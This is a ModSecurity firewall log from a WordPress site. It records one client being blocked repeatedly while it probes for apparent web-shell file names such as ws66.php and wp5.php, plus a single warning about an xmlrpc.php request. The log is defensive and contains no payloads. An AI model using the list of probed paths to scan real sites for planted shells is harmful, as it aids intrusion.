[Thu Apr 23 20:07:20.384063 2026] [:error] [pid 65000:tid 65037] [client 20.203.242.251:44852] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aeoLeL6vRb9j6psK2ZZHqwAAAgQ"]
[Thu Apr 23 20:07:21.118188 2026] [:error] [pid 65000:tid 65051] [client 20.203.242.251:16556] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aeoLeb6vRb9j6psK2ZZHrgAAAhI"]
[Thu Apr 23 20:07:22.825914 2026] [:error] [pid 65000:tid 65041] [client 20.203.242.251:40810] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ok.php"] [unique_id "aeoLer6vRb9j6psK2ZZHsQAAAgg"]
[Thu Apr 23 20:07:24.304841 2026] [:error] [pid 65000:tid 65037] [client 20.203.242.251:35798] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/eetu.php"] [unique_id "aeoLfL6vRb9j6psK2ZZHvQAAAgQ"]
[Thu Apr 23 20:07:26.120774 2026] [:error] [pid 46953:tid 46967] [client 20.203.242.251:13428] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/eetu.php"] [unique_id "aeoLfknlpdHh-P6wKborxAAAAks"]
[Thu Apr 23 20:07:28.036625 2026] [:error] [pid 42972:tid 43038] [client 20.203.242.251:12467] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/eetu.php"] [unique_id "aeoLgMOAb-3sOknsk4ca4gAAAFY"]
[Thu Apr 23 20:07:30.964449 2026] [:error] [pid 25635:tid 25660] [client 20.203.242.251:44816] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/eetu.php"] [unique_id "aeoLgsRxv6UsgRGKB3It8gAAARU"]
[Thu Apr 23 20:07:32.028861 2026] [:error] [pid 42972:tid 43021] [client 20.203.242.251:16561] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "aeoLhMOAb-3sOknsk4ca7QAAAEU"]
[Thu Apr 23 20:07:34.360515 2026] [:error] [pid 64967:tid 64991] [client 20.203.242.251:35809] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "aeoLhoAV4GfOOdX8Qzpt_AAAAZY"]
[Thu Apr 23 20:07:36.414330 2026] [:error] [pid 43083:tid 43088] [client 20.203.242.251:16528] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "aeoLiDC5hrvNXosL83JtqQAAAMM"]
[Thu Apr 23 20:07:38.000573 2026] [:error] [pid 42972:tid 43019] [client 20.203.242.251:39527] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws66.php"] [unique_id "aeoLicOAb-3sOknsk4ca9QAAAEM"]
[Thu Apr 23 20:07:40.543347 2026] [:error] [pid 64998:tid 65021] [client 20.203.242.251:13388] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file61.php"] [unique_id "aeoLjIV5EysYcTLjmwhPpgAAAdM"]
[Thu Apr 23 20:08:26.817698 2026] [:error] [pid 65000:tid 65048] [client 20.203.242.251:40167] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws80.php"] [unique_id "aeoLur6vRb9j6psK2ZZILAAAAg8"]
[Thu Apr 23 20:08:29.619483 2026] [:error] [pid 42973:tid 43063] [client 20.203.242.251:40180] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws80.php"] [unique_id "aeoLvW6I0QqmmmLTHE0ERQAAAJQ"]
[Thu Apr 23 20:08:30.555657 2026] [:error] [pid 42971:tid 43002] [client 20.203.242.251:17242] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws80.php"] [unique_id "aeoLvjEP2_5RswrH8bEhyAAAABA"]
[Thu Apr 23 20:08:32.208304 2026] [:error] [pid 46953:tid 46962] [client 20.203.242.251:12625] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws80.php"] [unique_id "aeoLwEnlpdHh-P6wKbosGgAAAkY"]
[Thu Apr 23 20:08:32.978192 2026] [:error] [pid 42971:tid 42992] [client 20.203.242.251:21587] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "aeoLwDEP2_5RswrH8bEhyQAAAAY"]
[Thu Apr 23 20:08:33.791653 2026] [:error] [pid 46953:tid 46979] [client 20.203.242.251:14357] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "aeoLwUnlpdHh-P6wKbosHAAAAlY"]
[Thu Apr 23 20:08:36.139571 2026] [:error] [pid 65000:tid 65030] [client 20.203.242.251:38799] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "aeoLxL6vRb9j6psK2ZZIOQAAAgE"]
[Thu Apr 23 20:08:38.355968 2026] [:error] [pid 65000:tid 65053] [client 20.203.242.251:12663] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "aeoLxr6vRb9j6psK2ZZIcAAAAhQ"]
[Thu Apr 23 20:08:39.271882 2026] [:error] [pid 65000:tid 65038] [client 20.203.242.251:14345] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "aeoLx76vRb9j6psK2ZZIdgAAAgU"]
[Thu Apr 23 20:08:40.232509 2026] [:error] [pid 64998:tid 65025] [client 20.203.242.251:12514] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "aeoLyIV5EysYcTLjmwhQIQAAAdc"]
[Thu Apr 23 20:08:41.019677 2026] [:error] [pid 65000:tid 65050] [client 20.203.242.251:38786] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "aeoLyb6vRb9j6psK2ZZIewAAAhE"]
[Thu Apr 23 20:08:41.635631 2026] [:error] [pid 65000:tid 65039] [client 20.203.242.251:14103] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/s.php"] [unique_id "aeoLyb6vRb9j6psK2ZZIfgAAAgY"]
[Thu Apr 23 20:08:42.269193 2026] [:error] [pid 46953:tid 46969] [client 20.203.242.251:14314] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tymn.php"] [unique_id "aeoLyknlpdHh-P6wKbosIAAAAk0"]
[Thu Apr 23 20:08:43.030652 2026] [:error] [pid 65000:tid 65054] [client 20.203.242.251:42591] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tymn.php"] [unique_id "aeoLy76vRb9j6psK2ZZIiAAAAhU"]
[Thu Apr 23 20:08:44.151486 2026] [:error] [pid 42972:tid 43023] [client 20.203.242.251:14202] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tymn.php"] [unique_id "aeoLzMOAb-3sOknsk4cbQwAAAEc"]
[Thu Apr 23 20:08:44.820657 2026] [:error] [pid 25635:tid 25653] [client 20.203.242.251:14193] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tymn.php"] [unique_id "aeoLzMRxv6UsgRGKB3IuHQAAAQ4"]
[Thu Apr 23 20:08:46.223621 2026] [:error] [pid 42973:tid 43061] [client 20.203.242.251:14352] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aeoLzm6I0QqmmmLTHE0ETQAAAJI"]
[Thu Apr 23 20:08:46.997104 2026] [:error] [pid 59700:tid 59712] [client 20.203.242.251:20483] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aeoLzpXyGZJFeAIDWtkYZAAAAUo"]
[Thu Apr 23 20:08:48.073288 2026] [:error] [pid 25635:tid 25640] [client 20.203.242.251:13128] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aeoL0MRxv6UsgRGKB3IuIwAAAQE"]
[Thu Apr 23 20:08:48.883381 2026] [:error] [pid 42972:tid 43029] [client 20.203.242.251:14395] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aeoL0MOAb-3sOknsk4cbSwAAAE0"]
[Thu Apr 23 20:08:49.826864 2026] [:error] [pid 42973:tid 43061] [client 20.203.242.251:20536] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aeoL0W6I0QqmmmLTHE0EXgAAAJI"]
[Thu Apr 23 20:08:50.798511 2026] [:error] [pid 42972:tid 43030] [client 20.203.242.251:14340] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aeoL0sOAb-3sOknsk4cbUAAAAE4"]
[Thu Apr 23 20:08:54.279462 2026] [:error] [pid 42972:tid 43025] [client 20.203.242.251:1376] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aeoL1sOAb-3sOknsk4cbXAAAAEk"]
[Thu Apr 23 20:08:56.417069 2026] [:error] [pid 42972:tid 43030] [client 20.203.242.251:18596] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp5.php"] [unique_id "aeoL2MOAb-3sOknsk4cbYQAAAE4"]
[Thu Apr 23 20:08:57.532522 2026] [:error] [pid 64998:tid 65026] [client 41.104.37.134:57895] [client 41.104.37.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.104.37.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeoL2YV5EysYcTLjmwhQOgAAAdg"]
[Thu Apr 23 20:08:58.645722 2026] [:error] [pid 42972:tid 43031] [client 20.203.242.251:10377] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aeoL2sOAb-3sOknsk4cbZQAAAE8"]
[Thu Apr 23 20:09:00.876043 2026] [:error] [pid 59700:tid 59711] [client 20.203.242.251:14167] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aeoL3JXyGZJFeAIDWtkYbwAAAUk"]
[Thu Apr 23 20:09:03.213509 2026] [:error] [pid 42973:tid 43052] [client 20.203.242.251:10415] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aeoL326I0QqmmmLTHE0EcQAAAIk"]
[Thu Apr 23 20:09:04.438144 2026] [:error] [pid 64998:tid 65011] [client 20.203.242.251:14191] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms.php"] [unique_id "aeoL4IV5EysYcTLjmwhQRgAAAck"]
[Thu Apr 23 20:09:05.103077 2026] [:error] [pid 65000:tid 65041] [client 20.203.242.251:34311] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeoL4b6vRb9j6psK2ZZIogAAAgg"]
[Thu Apr 23 20:09:05.939941 2026] [:error] [pid 65000:tid 65031] [client 20.203.242.251:12779] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeoL4b6vRb9j6psK2ZZIowAAAgI"]
[Thu Apr 23 20:09:06.566950 2026] [:error] [pid 65000:tid 65043] [client 20.203.242.251:42592] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeoL4r6vRb9j6psK2ZZIpgAAAgo"]
[Thu Apr 23 20:09:08.482317 2026] [:error] [pid 42973:tid 43067] [client 20.203.242.251:12745] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-access.php"] [unique_id "aeoL5G6I0QqmmmLTHE0EeAAAAJg"]
[Thu Apr 23 20:09:12.299699 2026] [:error] [pid 42972:tid 43029] [client 20.203.242.251:12794] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class-atom.php"] [unique_id "aeoL6MOAb-3sOknsk4cbdgAAAE0"]
[Thu Apr 23 20:09:13.558168 2026] [:error] [pid 65000:tid 65043] [client 20.203.242.251:17688] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class-atom.php"] [unique_id "aeoL6b6vRb9j6psK2ZZIsAAAAgo"]
[Thu Apr 23 20:09:14.594125 2026] [:error] [pid 65000:tid 65054] [client 20.203.242.251:1279] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class-atom.php"] [unique_id "aeoL6r6vRb9j6psK2ZZItwAAAhU"]
[Thu Apr 23 20:09:15.443760 2026] [:error] [pid 65000:tid 65039] [client 20.203.242.251:1389] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-class-atom.php"] [unique_id "aeoL676vRb9j6psK2ZZIuQAAAgY"]
[Thu Apr 23 20:09:16.381802 2026] [:error] [pid 65000:tid 65041] [client 20.203.242.251:14704] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeoL7L6vRb9j6psK2ZZIvwAAAgg"]
[Thu Apr 23 20:09:17.140589 2026] [:error] [pid 42973:tid 43066] [client 20.203.242.251:1749] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeoL7W6I0QqmmmLTHE0EfQAAAJc"]
[Thu Apr 23 20:09:17.655164 2026] [:error] [pid 42973:tid 43048] [client 20.203.242.251:10404] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeoL7W6I0QqmmmLTHE0EgQAAAIU"]
[Thu Apr 23 20:09:18.359243 2026] [:error] [pid 42973:tid 43058] [client 20.203.242.251:1774] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeoL7m6I0QqmmmLTHE0EhQAAAI8"]
[Thu Apr 23 20:09:19.051621 2026] [:error] [pid 65000:tid 65055] [client 20.203.242.251:14711] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aeoL776vRb9j6psK2ZZIxwAAAhY"]
[Thu Apr 23 20:09:19.745101 2026] [:error] [pid 65000:tid 65047] [client 20.203.242.251:43051] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aeoL776vRb9j6psK2ZZIygAAAg4"]
[Thu Apr 23 20:09:20.477091 2026] [:error] [pid 65000:tid 65037] [client 20.203.242.251:1786] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aeoL8L6vRb9j6psK2ZZIzwAAAgQ"]
